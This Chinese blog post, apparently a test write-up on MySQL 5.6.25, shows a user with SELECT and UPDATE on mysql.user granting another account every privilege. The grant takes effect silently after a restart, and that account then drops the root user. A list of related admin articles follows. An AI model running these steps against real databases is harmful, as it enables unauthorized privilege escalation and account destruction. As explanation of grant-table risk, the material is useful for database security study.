温馨提示:

一次成功的非法提权,需要的必备条件是:
1、对mysql权限表的查、改权限;

2、一次不经意的数据库服务器重启;

此次测试版本:5.6.25

准备邪恶用户:

  grant update on mysql.user to heike@'localhost' identified by 'heike';

  用heike@localhost登录数据库;

  mysql> select * from user;

  ERROR 1142 (42000): SELECT command denied to user 'heike'@'localhost' for table 'user'

  mysql> update mysql.user set user='test003' where user='test03';

  ERROR 1143 (42000): SELECT command denied to user 'heike'@'localhost' for column 'user' in table 'user'

  好吧,失败,在给heike@localhost关于user表的select权限;

  mysql> grant select on mysql.user to heike@'localhost' identified by 'heike';

  Query OK, 0 rows affected (0.00 sec)

  现在heike@localhost可以正常地访问mysql.user表了。

准备测试用户:

mysql>  show grants for test02@'localhost';

+---------------------------------------------------------------------------------------------------------------+

| Grants for test02@localhost                                                                                   |

+---------------------------------------------------------------------------------------------------------------+

| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD '*1556A6F65259CE3FBEA8489096F7797B4E0D5BEC' |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                                                        |

+---------------------------------------------------------------------------------------------------------------+

2 rows in set (0.00 sec)

test02@'localhost'只有查询db_test库t1表的权限

现在开始用heike@localhost给test02@'localhost'提权。

就给test02@'localhost'一个超大的权限吧。使用heike@localhost执行:

update mysql.user set  Select_priv='Y',

Insert_priv='Y',

Update_priv='Y',

Delete_priv='Y',

Create_priv='Y',

Drop_priv='Y',

Reload_priv='Y',

Shutdown_priv='Y',

Process_priv='Y',

File_priv='Y',

Grant_priv='Y',

References_priv='Y',

Index_priv='Y',

Alter_priv='Y',

Show_db_priv='Y',

Super_priv='Y',

Create_tmp_table_priv='Y',

Lock_tables_priv='Y',

Execute_priv='Y',

Repl_slave_priv='Y',

Repl_client_priv='Y',

Create_view_priv='Y',

Show_view_priv='Y',

Create_routine_priv='Y',

Alter_routine_priv='Y',

Create_user_priv='Y',

Event_priv='Y',

Trigger_priv='Y',

Create_tablespace_priv='Y'

where user='test02' and host='localhost';

Query OK, 1 row affected (0.04 sec)

Rows matched: 1  Changed: 1  Warnings: 0

但是再查看test02@localhost的权限

+----------------------------------------------------------------------------+

| Grants for test02@localhost                                                |

+----------------------------------------------------------------------------+

| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                     |

+----------------------------------------------------------------------------+

2 rows in set (0.00 sec)

好吧,权限没变。但是不要灰心

让我们静静地等在在某一天,有flush privileges 权限的用户执行下:

mysql>flush privileges;

这时再看看test02@localhost的权限

mysql> show grants for test02@localhost;

+-------------------------------------------------------------------------------------------------------+

| Grants for test02@localhost                                                                           |

+-------------------------------------------------------------------------------------------------------+

| GRANT ALL PRIVILEGES ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> WITH GRANT OPTION |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                                                |

+-------------------------------------------------------------------------------------------------------+

2 rows in set (0.00 sec)

这是你是不是觉得test02@localhost已经成功逆袭为高富帅了?

既然你这么以为,就让他把`db_test`.`t1`删掉吧

mysql> drop table db_test.t1;

ERROR 1142 (42000): DROP command denied to user 'test02'@'localhost' for table 't1'

What!居然不能删除,还提示权限不足。这一定是误会,让我再尝试一下:

mysql> select user,host,password from mysql.user;

ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 'user'

what!连查询都不行,说好的ALL PRIVILEGES呢!

让我再尝试一下,新建一张普通表t2看test02@localhost能访问不。

mysql> select * from db_test.t2;

ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 't2'

好吧,至此'test02'@'localhost'的权限没有丝毫改变

继而重启服务器

>service mysqld restart

再试试:

mysql> drop user root@'::1';

Query OK, 0 rows affected (0.08 sec)

mysql> select user();

+------------------+

| user()           |

+------------------+

| test02@localhost |

+------------------+

1 row in set (0.00 sec)

哈哈!看看。此时的test02@localhost已经将root用户干掉了!

如何悄悄地提升MySQL用户权限的更多相关文章

  1. mysql用户权限

    mysql> show grants for root@'localhost';+-------------------------------------------------------- ...

  2. mysql用户权限操作

    mysql用户权限操作1.创建用户mysql -urootcreate database zabbix default charset utf8;grant all on zabbix.* to za ...

  3. 烂泥:nginx、php-fpm、mysql用户权限解析

    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://ilanni.blog.51cto.com/526870/1561097 本文首发 ...

  4. mysql用户权限设置

    1.创建新用户 通过root用户登录之后创建 >> grant all privileges on *.* to testuser@localhost identified by &quo ...

  5. mysql 用户权限设置【转】

    在Linux下phpStudy集成开发环境中,要先进入mysql下bin目录,执行mysql ./mysql -u root -p 1.创建新用户 通过root用户登录之后创建 >> gr ...

  6. 转 MySQL 用户权限详细汇总

    http://blog.csdn.net/mchdba/article/details/45934981 1,MySQL权限体系 MySQL 的权限体系大致分为5个层级: 全局层级: 全局权限适用于一 ...

  7. MYSQL用户权限管理学习笔记

    MYSQL 用户管理 1.权限表 MYSQL是一个多用户的数据库,MYSQL的用户可以分为两大类: (1)       超级管理员用户(root),拥有全部权限 (2)       普通用户,由roo ...

  8. mysql用户权限分配及主从同步复制

    赋予wgdp用户查询权限: grant select on wg_dp.* to 'wgdp'@'%' IDENTIFIED BY 'weigou123'; grant all privileges ...

  9. mysql用户权限管理

    参考文章:http://www.cnblogs.com/jackruicao/p/6068821.html?utm_source=itdadao&utm_medium=referral (1) ...

随机推荐

  1. linux命令学习之:ifconfig

    ifconfig命令被用于配置和显示Linux内核中网络接口的网络参数.用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在.要想将上述的配置信息永远的存的电脑里,那就要修改网卡 ...

  2. 自动化运维工具 SaltStack 搭建

    原文地址:https://www.ibm.com/developerworks/cn/opensource/os-devops-saltstack-in-cloud/index.html#N10072 ...

  3. solrj 测试连接 6.6.5solr集群

    我开始环境是 linux上是6.6.5  pom也是6.6.5 按照学习视频的demo,他用的是4点几的solr,我换成了6点几的,没有CloudSolrServer  只有CloudSolrClie ...

  4. 使用SQL语句创建数据库2——创建多个数据库文件和多个日志文件

    在matser数据库下新建查询,输入的命令如下: USE master GOCREATE DATABASE E_MarketON PRIMARY--主文件组( NAME ='E_Market_data ...

  5. spec文件写作规范

    spec文件写作规范 2008-09-28 11:52:17 分类: LINUX 1.The RPM system assumes five RPM directories BUILD:rpmbuil ...

  6. Java界面编程—布局管理

    布局是指容器中组件的排列方式 常用的布局管理器 布局管理器名称 所属类包 说明 FlowLayout(流式布局) java.awt 组件按照加入的先后顺序.按照设置的对齐方式从左向右排列,一行排满后到 ...

  7. Composer 中文镜像 Lavavel-china 公益项目

    『Composer 中国全量镜像』是由 Laravel China 社区联合 又拍云 与 优帆远扬 共同合作推出的公益项目,旨在为广大 PHP 用户提供稳定和高速的 Composer 国内镜像服务. ...

  8. swift MD5 加密方法

    引入OC类库 md5.h: #import <UIKit/UIKit.h> @interface Md5Controller : UIViewController @end md5.m: ...

  9. zookeeper和keepalived的区别

    zookeeper主要就是为了保持数据的一致性来的,举个栗子,通俗点就是 本来是存储在各个服务器上的配置文件,现在我不存储在各个服务器上了,我就把全部配置文件都存储在zookeeper服务器上,应用服 ...

  10. mac安装oh my zsh

    克隆项目到本地 git clone git://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh 2.创建配置文件 cp ~/.oh-my-zsh/ ...